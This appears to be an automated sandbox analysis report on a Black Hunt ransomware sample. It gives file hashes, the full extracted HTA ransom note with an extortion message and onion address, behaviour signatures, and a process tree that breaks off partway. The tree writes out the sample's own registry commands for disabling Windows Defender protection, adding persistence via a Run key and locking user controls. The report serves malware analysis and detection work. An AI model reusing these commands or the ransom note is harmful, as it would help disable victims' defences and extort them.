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Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    19/01/2024, 01:31

General

  • Target

    fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe

  • Size

    707KB

  • MD5

    3a05d0d1dd666062d9f90d68cb72149e

  • SHA1

    300095ce8f943c4b102c37eba712a286d6252f89

  • SHA256

    fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164

  • SHA512

    d1526eec9480f737ee1b853225c42bf4b0a2651f9f551a10319e16574ae9157979ebd3d020e496e08b3073786485575c55ac22dc59ef85be046bdddedec43fd8

  • SSDEEP

    6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1/8yvnh:6uaTmkZJ+naie5OTamgEoKxLWech

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> jcLL7mP5lwFc4ajD </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>
URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

  • Deletes NTFS Change Journal 2 TTPs 2 IoCs

    The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 5 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
  • Renames multiple (2862) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Deletes backup catalog 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Disables Task Manager via registry modification
  • Disables use of System Restore points 1 TTPs
  • Deletes itself 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 27 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Interacts with shadow copies 2 TTPs 6 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 8 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
    "C:\Users\Admin\AppData\Local\Temp\fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe"
    1⤵
    • UAC bypass
    • Checks whether UAC is enabled
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:2504
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2688
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
        3⤵
        • Modifies registry class
        PID:2788
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2800
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
        3⤵
        • Modifies registry class
        PID:2816
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2852
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
        3⤵
        • Modifies registry class
        PID:2620
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3004
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
        3⤵
        • Modifies registry class
        PID:2608
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2280
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
        3⤵
        • Adds Run key to start application
        PID:2612
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1700
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
        3⤵
          PID:2308
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
        2⤵
          PID:2696
          • C:\Windows\system32\reg.exe
            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
            3⤵
            • Modifies Windows Defender Real-time Protection settings
            PID:2044
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
          2⤵
            PID:2780
            • C:\Windows\system32\reg.exe
              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
              3⤵
                PID:2952
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
              2⤵
                PID:2604
                • C:\Windows\system32\reg.exe
                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
                  3⤵
                    PID:616
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
                  2⤵
                    PID:2704
                    • C:\Windows\system32\reg.exe
                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
                      3⤵
                        PID:1092
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                      2⤵
                        PID:2636
                        • C:\Windows\system32\reg.exe
                          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                          3⤵
                            PID:1684
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                          2⤵
                            PID:2752
                            • C:\Windows\system32\reg.exe
                              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                              3⤵
                                PID:580
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                              2⤵
                                PID:2760
                                • C:\Windows\system32\reg.exe
                                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                                  3⤵
                                    PID:988
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                                  2⤵
                                    PID:1952
                                    • C:\Windows\system32\reg.exe
                                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                                      3⤵
                                        PID:2536
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                                      2⤵
                                        PID:2884
                                        • C:\Windows\system32\reg.exe
                                          reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                                          3⤵
                                            PID:676
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                                          2⤵
                                            PID:2928
                                            • C:\Windows\system32\reg.exe
                                              reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                                              3⤵
                                                PID:1704
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                              2⤵
                                                PID:2900
                                                • C:\Windows\system32\reg.exe
                                                  reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                                  3⤵
                                                    PID:2448
                                                • C:\Windows\System32\cmd.exe
